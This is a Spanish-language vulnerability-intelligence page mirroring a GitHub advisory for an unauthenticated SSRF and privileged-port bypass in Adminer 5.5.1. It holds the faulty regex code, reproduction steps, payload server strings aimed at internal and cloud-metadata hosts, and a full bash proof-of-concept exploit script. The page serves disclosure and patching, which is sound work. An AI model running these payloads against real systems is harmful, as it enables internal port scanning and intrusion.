llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-RWXG-XPH9-82CJ

Privileged-port SSRF via host_port regex non-match

Parche disponible
Descargar PNG JSON
CVSS 4.0
6.9
Media
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión6.0.2
Exposición74 dDesde la divulgación, 7 sept 2026, 4:33 p. m.
Detección74 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Sin drama: ventana de mantenimiento y listo.Ni el CISO se despertaría por esta.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
7 sept 26
21 nov 26
7 sept 26
26 sept 26
15 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-RWXG-XPH9-82CJ divulgada · CVSS 6.9 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Introduced in v5.5.1 (2026-07-21): commit `b9bf3c9` ("Login: Allow :/_ in server", fix #1305) rewrote `host_port()` so the port group is `(:(\d+))?` (pure digits, `$`-anchored). Any `server` string with a non-digit tail now fails the regex and falls back to an empty parsed port, so the privileged-port check skips and the driver re-parses `host:port` from the host string — re-opening the bypass the 5.5.0 fix (GHSA-58cq-mgw2-38m5) closed. Not present in 5.5.0. Default `server`/mysqli driver, no config gate; unauth (the connect fires before credentials are validated).

## Summary
Adminer 5.5.1 rejects a login whose target port is a privileged port (`< 1024`). The check runs only on the port that `host_port()` parses out of the server string. When the server string does not match the `host_port()` regex, the function returns the entire string as `$host` with an empty `$port`, so the privileged-port check is skipped. A value such as `127.0.0.1:80/x` fails the regex (trailing `/x`), passes the character allow-list (`/` is permitted since 5.5.1), and reaches the mysqli client with an empty parsed port. The mysqli/mysqlnd client then parses `host:port` out of that host string itself and opens a TCP connection to `127.0.0.1:80`. The login form becomes an unauthenticated SSRF primitive that connects to arbitrary internal host:port, including the privileged ports the 5.5.0 fix (GHSA-58cq-mgw2-38m5) was meant to protect.

## Severity
High. Unauthenticated. Any client that can reach the Adminer login page turns it into an SSRF / internal port scanner against arbitrary TCP endpoints, privileged ports included. The connection is attempted before authentication succeeds, and the response (connection refused vs handshake vs timeout) is a blind oracle for host/port liveness. Default `server` driver, no configuration required.

## Root Cause
The privileged-port check inspects only the port that `host_port()` returns, and `host_port()` returns an empty port for any server string its regex does not fully match. `adminer/include/auth.inc.php:174-181`:

list($host, $port) = host_port(SERVER);
if (preg_match('~[^-\w.:/]~', $host . $port)) {
    auth_error(lang('Invalid server.'), $permanent);
}
if (preg_match('~^-?\d+~', $port, $match) && ($match[0] < 1024 || $match[0] > 65535)) {
    auth_error(lang('Connecting to privileged ports is not allowed.'), $permanent);
}

The regression is in `host_port()` itself. Commit `b9bf3c9` changed its port group from the 5.5.0 form to a pure-digit, `$`-anchored one (`adminer/include/functions.inc.php:862`):

// 5.5.0 — port captured greedily as ([^:]+), so "80x"/"80."/"80/x" STAY in $port
preg_match('~^(\[(.+)]|([^:]*)):([^:]+)$~', $server, $match)   // -> array($host, "80x")
// 5.5.1 — port must be :(\d+) up to $; any non-digit tail fails the whole regex
preg_match('~^(:([^:].*)|(\[(.+)\]|(([^:]+://)?[^:]+))(:(\d+))?)$~', $server, $match)
    ? array($match[4] . $match[5], $match[2] . $match[8])
    : array($server, '')   // <-- fallback: whole string is host, port is EMPTY

In 5.5.0, `SERVER = 127.0.0.1:80x` parsed to `port = "80x"`; the priv-port check `preg_match('~^-?\d+~', $port)` matched the leading `80` and blocked it. The maintainer relied on exactly this — the 5.5.0 source carries the comment `// is_numeric('80.') would still connect to port 80` next to that check. In 5.5.1 the same input no longer matches the regex (the `x` after `:80` breaks the `$` anchor), so the fallback returns `port = ""`. The priv-port check never matches an empty `$port`, so it is skipped, and the mysqli/mysqlnd driver re-parses `host:port` out of the host string and connects to `127.0.0.1:80`. The bypass needs only a non-digit tail on the port — a bare letter (`127.0.0.1:80x`), a dot (`127.0.0.1:80.`), or the `/x` used in the screenshots all work. The character allow-list on line 176 (`[^-\w.:/]`) is unrelated: it permits letters, `.` and `:` in every version, so it was never the gate.

## Impact
- Bypass of the privileged-port restriction (GHSA-58cq-mgw2-38m5): `SERVER=127.0.0.1:80` is rejected; `SERVER=127.0.0.1:80/x` connects to `127.0.0.1:80`.
- Unauthenticated SSRF / internal port scanner on the default mysqli driver: the connect fires at `auth.inc.php` (`Driver::connect`) on any login submission, before credentials are validated. Differing responses (refused / handshake / timeout) form a blind oracle to map internal hosts and open ports the Adminer host can reach.
- Reaches arbitrary TCP host:port, e.g. `SERVER=10.0.0.5:22/x`, `SERVER=169.254.169.254:80/x` (cloud metadata reachability), `SERVER=127.0.0.1:6379/x`.
- The PDO_MySQL, PDO_DBLIB and Oracle drivers are reachable by the same non-matching-server path (Oracle interpolates the raw `$server` into an EZConnect DSN `oci:dbname=//$server`), broadening the sink set beyond mysqli.

## Solution
Do not skip the port check when `host_port()` falls back. Either reject any server string that `host_port()` cannot fully parse (make the fallback an `auth_error`), or anchor the split so a host may not itself contain a `:` + digits sequence, and validate the resulting host against `~^[-\w.]+$~` (no `:` in a hostname) so `127.0.0.1:80/x` cannot survive as a host. Equivalently, run the privileged-port comparison on the host string too, not only on the parsed `$port`.

Reproduction Steps

### Environment
- PHP 8.x CLI with the `mysqli` extension (mysqlnd)
- Adminer 5.5.1 (git tag `v5.5.1`; `adminer/include/version.inc.php` → `VERSION = "5.5.1"`), default `server` driver
- No database required — the connect fires before any DB login succeeds

### Steps
1. Fetch Adminer 5.5.1 and serve it locally, then open `http://127.0.0.1:8095/` in a browser:
```
git clone --depth 1 --branch v5.5.1 https://github.com/vrana/adminer
php -S 127.0.0.1:8095 -t adminer/adminer
```
2. Control. On the login page set System to MySQL, Server to `127.0.0.1:80`, any username and password, and click Login. Adminer rejects it with `Connecting to privileged ports is not allowed.` — the shipped control blocking a connection to a privileged port.
3. Bypass. Change Server to `127.0.0.1:80/x` (same privileged port, one trailing `/x`) and click Login again. The privileged-port message is gone; instead the page shows a database-connection error such as `Connection refused`. Adminer skipped the port check and actually opened a TCP connection to `127.0.0.1:80` — the error is the MySQL handshake failing against a web server, not a validation block.
4. Confirm the connection is real. In a terminal start a listener on a port you control (`nc -lvnp 9977`), then set Server to `127.0.0.1:9977/x` and click Login. The listener logs an inbound connection from the PHP/Adminer process, proving the smuggled port is reached. Setting Server to any `<internal-host>:<privileged-port>/x` reaches arbitrary internal TCP endpoints before authentication.

## Screenshots
Captured against a live 5.5.1 instance driven through the browser; the address bar carries the payload in each shot.

The control: Server `127.0.0.1:80` is submitted and Adminer's shipped check blocks it — the page reads "Connecting to privileged ports is not allowed."

<img width="530" height="591" alt="image" src="https://github.com/user-attachments/assets/8a654870-0c14-4c11-a829-06b5f52c6a0a" />

The bypass: the only change is a trailing `/x` on the same privileged port (`127.0.0.1:80/x`). The privileged-port message is gone; the page now reads "Connection refused", the MySQL client's error after Adminer skipped the port check and actually opened a TCP connection to `127.0.0.1:80`. One character flips the outcome from the policy block to a socket connect, isolating the `host_port()` regex non-match as the bug.

<img width="580" height="555" alt="image" src="https://github.com/user-attachments/assets/766e4df4-7ee8-478a-9509-3364024ddc4e" />

A valid MySQL login on the same instance, showing it is a working Adminer 5.5.1.

<img width="611" height="760" alt="image" src="https://github.com/user-attachments/assets/f9c361e5-f9e4-462a-b621-d3dd86edd114" />

https://github.com/user-attachments/assets/2b4ff2fb-d19a-4917-9f13-bb034507bf52

## Proof of Concept Code
`poc_1_privport_ssrf_bypass_hostport_regex.sh`:

````bash
#!/usr/bin/env bash
# Author: Infinit3i
# Adminer 5.5.1 — pre-auth SSRF / privileged-port bypass.
# Drives the LIVE Adminer login flow. Proves two things against the running app:
# 1) control server=127.0.0.1:80 -> rejected with "privileged ports are not allowed"
# 2) bypass server=127.0.0.1:<P>/x -> priv-port check SKIPPED and the mysqli client
# actually opens a TCP connection to the smuggled port (a listener we own logs the hit)
# Nothing is emulated: the outbound connection is made by the deployed Adminer process.
set -euo pipefail

BASE="${BASE:-http://127.0.0.1:8095}"
# Port the PoC listens on to catch Adminer's outbound connect (must be bindable unprivileged).
CATCH_PORT="${CATCH_PORT:-9977}"

need(){ command -v "$1" >/dev/null || { echo "missing: $1"; exit 2; }; }
need curl; need python3

# --- preflight: the app must be up (never fall back to a simulation) ---
if ! curl -s --max-time 3 "$BASE/index.php" -o /dev/null; then
echo "Adminer not reachable at $BASE — run ./deploy.sh up first."
exit 1
fi
echo "[*] target: $BASE"

jar="$(mktemp)"; trap 'rm -f "$jar"' EXIT
get_token(){ curl -s -c "$jar" -b "$jar" "$BASE/index.php" \
| grep -oE "name='token' value='[^']+'" | head -1 | sed "s/.*value='//;s/'//"; }

# login flow: POST auth (stores pwd in session), follow redirect to the GET that runs the check
login(){
local server="$1" tok; tok="$(get_token)"
curl -s --max-time 8 -c "$jar" -b "$jar" -L "$BASE/index.php" \
--data-urlencode 'auth[driver]=server' \
--data-urlencode "auth[server]=$server" \
--data-urlencode 'auth[username]=root' \
--data-urlencode 'auth[password]=p' \
--data-urlencode "token=$tok"
}

echo
echo "=== [1] CONTROL: server=127.0.0.1:80 (a privileged port) ==="
ctl="$(login '127.0.0.1:80' | grep -oiE "privileged ports[^<.]*" | head -1 || true)"
echo " response: ${ctl:-<no priv-port error>}"
[ -n "$ctl" ] || { echo " unexpected: control was not blocked"; exit 3; }
echo " -> blocked by the priv-port control (GHSA-58cq-mgw2-38m5), as intended."

echo
echo "=== [2] BYPASS: server=127.0.0.1:80/x (same privileged port, trailing /x) ==="
byp="$(login '127.0.0.1:80/x' | grep -oiE "gone away|refused|privileged ports[^<.]*" | head -1 || true)"
echo " response: ${byp:-<none>}"
case "$byp" in
*privileged*) echo " -> still blocked (not vulnerable)"; exit 3;;
*) echo " -> NO priv-port error: the check was SKIPPED and a TCP connection to 127.0.0.1:80 was attempted.";;
esac

echo
echo "=== [3] REACH PROOF: bypass points Adminer at a listener we own ($CATCH_PORT) ==="
python3 - "$CATCH_PORT" <<'PY' &
import socket,sys,time
p=int(sys.argv[1])
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('127.0.0.1',p)); s.listen(5); s.settimeout(12)
open('/tmp/poc_hit','w').write('')
try:
c,a=s.accept(); open('/tmp/poc_hit','a').write('HIT %s\n'%(a,)); c.close()
except Exception: pass
PY
LIS=$!
sleep 1
login "127.0.0.1:$CATCH_PORT/x" >/dev/null || true
sleep 0.6; kill "$LIS" 2>/dev/null || true; wait 2>/dev/null || true

if grep -q HIT /tmp/poc_hit 2>/dev/null; then
echo " listener: $(cat /tmp/poc_hit)"
echo
echo "[+] CONFIRMED: Adminer 5.5.1 connected to the attacker-smuggled port $CATCH_PORT."
echo "[+] By the same path, server=<internal-host>:<priv-port>/x reaches any TCP host:port PRE-AUTH,"
echo " defeating the privileged-port control. Unauthenticated internal port scanner / SSRF."
rm -f /tmp/poc_hit
else
echo " listener saw no connection — check CATCH_PORT is free and Adminer is up."
rm -f /tmp/poc_hit
exit 3
fi
````

## Affected Files
- `adminer/include/functions.inc.php:862` — `host_port()` returns the whole string as host with empty port when its regex does not match.
- `adminer/include/auth.inc.php:179-181` — privileged-port check is gated on a non-empty numeric `$port`, so an empty `$port` skips it; the character allow-list on line 176 permits `:` and `/` inside the host.
- `adminer/drivers/mysql.inc.php:21-35` — mysqli `real_connect($host, ...)`; mysqlnd parses `host:port` out of the host string and connects to the smuggled port.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:L
AltoBajoNinguno
Integridad (sistema)VI:N
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:L
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
vrana/adminer< 6.0.2
6.0.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Corregida 6.0.2 — —
Versiones corregidas6.0.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-rwxg-xph9-82cj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.